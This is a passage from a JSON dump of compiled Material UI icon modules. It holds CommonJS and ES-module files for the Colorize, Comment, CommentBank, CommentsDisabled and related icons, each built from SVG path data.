/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"5\")], 'ColorLensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 10 6.5 10s1.5.67 1.5 1.5S7.33 13 6.5 13m3-4C8.67 9 8 8.33 8 7.5S8.67 6 9.5 6s1.5.67 1.5 1.5S10.33 9 9.5 9m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9m4.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.21-.64-1.67-.08-.09-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m4 13h-1.77c-1.38 0-2.5 1.12-2.5 2.5 0 .61.22 1.19.63 1.65.06.07.14.19.14.35 0 .28-.22.5-.5.5-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.14 8 7c0 2.21-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"5\")], 'ColorLensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Colorize.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.71 5.63-2.34-2.34a.996.996 0 0 0-1.41 0l-3.12 3.12-1.93-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92 3.12-3.12c.4-.4.4-1.03.01-1.42M6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'Colorize');"
  },
  {
    "path": "packages/mui-icons-material/lib/Colorize.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.71 5.63-2.34-2.34a.996.996 0 0 0-1.41 0l-3.12 3.12-1.93-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92 3.12-3.12c.4-.4.4-1.03.01-1.42M6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'Colorize');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 5.41.92.92-2.69 2.69-.92-.92zM17.67 3c-.26 0-.51.1-.71.29l-3.12 3.12-1.93-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92 3.12-3.12c.4-.4.4-1.03.01-1.42l-2.34-2.34c-.2-.19-.45-.29-.7-.29M6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'ColorizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 5.41.92.92-2.69 2.69-.92-.92zM17.67 3c-.26 0-.51.1-.71.29l-3.12 3.12-1.93-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92 3.12-3.12c.4-.4.4-1.03.01-1.42l-2.34-2.34c-.2-.19-.45-.29-.7-.29M6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'ColorizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.71 5.63-2.34-2.34a.996.996 0 0 0-1.41 0l-3.12 3.12-1.23-1.21c-.39-.39-1.02-.38-1.41 0-.39.39-.39 1.02 0 1.41l.72.72-8.77 8.77q-.15.15-.15.36v4.04c0 .28.22.5.5.5h4.04c.13 0 .26-.05.35-.15l8.77-8.77.72.72c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-1.22-1.22 3.12-3.12c.41-.4.41-1.03.02-1.42M6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'ColorizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.71 5.63-2.34-2.34a.996.996 0 0 0-1.41 0l-3.12 3.12-1.23-1.21c-.39-.39-1.02-.38-1.41 0-.39.39-.39 1.02 0 1.41l.72.72-8.77 8.77q-.15.15-.15.36v4.04c0 .28.22.5.5.5h4.04c.13 0 .26-.05.35-.15l8.77-8.77.72.72c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-1.22-1.22 3.12-3.12c.41-.4.41-1.03.02-1.42M6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'ColorizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.42 6.34-3.75-3.75-3.82 3.82-1.94-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92zM6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'ColorizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.42 6.34-3.75-3.75-3.82 3.82-1.94-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92zM6.92 19 5 17.08l8.06-8.06 1.92 1.92z\"\n}), 'ColorizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.896 9.023-.92-.92L17.67 5.41l.92.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.71 5.63-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-3.12 3.12-1.93-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92 3.12-3.12c.4-.4.4-1.03.01-1.42M6.92 19 5 17.08l8.06-8.06 1.92 1.92zm8.98-9.97-.93-.93 2.69-2.69.92.92z\"\n}, \"1\")], 'ColorizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorizeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.896 9.023-.92-.92L17.67 5.41l.92.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.71 5.63-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-3.12 3.12-1.93-1.91-1.41 1.41 1.42 1.42L3 16.25V21h4.75l8.92-8.92 1.42 1.42 1.41-1.41-1.92-1.92 3.12-3.12c.4-.4.4-1.03.01-1.42M6.92 19 5 17.08l8.06-8.06 1.92 1.92zm8.98-9.97-.93-.93 2.69-2.69.92.92z\"\n}, \"1\")], 'ColorizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Comment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM18 14H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'Comment');"
  },
  {
    "path": "packages/mui-icons-material/lib/Comment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM18 14H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'Comment');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBank.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 11-2.5-1.5L14 13V5h5z\"\n}), 'CommentBank');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBank.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 11-2.5-1.5L14 13V5h5z\"\n}), 'CommentBank');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14V6h-5v8l2.5-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"1\")], 'CommentBankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14V6h-5v8l2.5-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"1\")], 'CommentBankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1.76 9.55L16.5 10.5l-1.74 1.05c-.33.2-.76-.04-.76-.43V4h5v7.12c0 .39-.42.63-.76.43\"\n}), 'CommentBankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1.76 9.55L16.5 10.5l-1.74 1.05c-.33.2-.76-.04-.76-.43V4h5v7.12c0 .39-.42.63-.76.43\"\n}), 'CommentBankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v20l4-4h16V2zm17 11-2.5-1.5L14 13V5h5z\"\n}), 'CommentBankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v20l4-4h16V2zm17 11-2.5-1.5L14 13V5h5z\"\n}), 'CommentBankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 18 2-2h14V4H4zm9-12h5v8l-2.5-1.5L13 14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14V6h-5v8l2.5-1.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"2\")], 'CommentBankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentBankTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 18 2-2h14V4H4zm9-12h5v8l-2.5-1.5L13 14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14V6h-5v8l2.5-1.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"2\")], 'CommentBankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM20 4v13.17L18.83 16H4V4zM6 12h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}), 'CommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM20 4v13.17L18.83 16H4V4zM6 12h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}), 'CommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM17 14H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'CommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM17 14H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'CommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 2H2v16h16l4 4zM18 14H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'CommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 2H2v16h16l4 4zM18 14H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'CommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17.17V4H4v12h14.83zM18 14H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h14l4 4-.01-18c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 4h16v13.17L18.83 16H4zm2 8h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'CommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17.17V4H4v12h14.83zM18 14H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h14l4 4-.01-18c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 4h16v13.17L18.83 16H4zm2 8h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'CommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.83 14H18v-2h-3.17l-1-1H18V9h-6.17l-1-1H18V6H8.83l-4-4H20c1.1 0 2 .9 2 2v15.17zM2.1 2.1.69 3.51 2 4.83V16c0 1.1.9 2 2 2h11.17l5.31 5.31 1.41-1.41zM6 9h.17l2 2H6zm0 5v-2h3.17l2 2z\"\n}), 'CommentsDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.83 14H18v-2h-3.17l-1-1H18V9h-6.17l-1-1H18V6H8.83l-4-4H20c1.1 0 2 .9 2 2v15.17zM2.1 2.1.69 3.51 2 4.83V16c0 1.1.9 2 2 2h11.17l5.31 5.31 1.41-1.41zM6 9h.17l2 2H6zm0 5v-2h3.17l2 2z\"\n}), 'CommentsDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.83 16H20V4H6.83l-2-2H20c1.1 0 2 .9 2 2v15.17zM18 6H8.83l2 2H18zm0 3h-6.17l2 2H18zm0 5v-2h-3.17l2 2zm3.9 7.9-1.41 1.41L15.17 18H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1zM13.17 16l-2-2H6v-2h3.17l-1-1H6V9h.17L4 6.83V16z\"\n}), 'CommentsDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.83 16H20V4H6.83l-2-2H20c1.1 0 2 .9 2 2v15.17zM18 6H8.83l2 2H18zm0 3h-6.17l2 2H18zm0 5v-2h-3.17l2 2zm3.9 7.9-1.41 1.41L15.17 18H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1zM13.17 16l-2-2H6v-2h3.17l-1-1H6V9h.17L4 6.83V16z\"\n}), 'CommentsDisabledOutlined');"
  },
  {
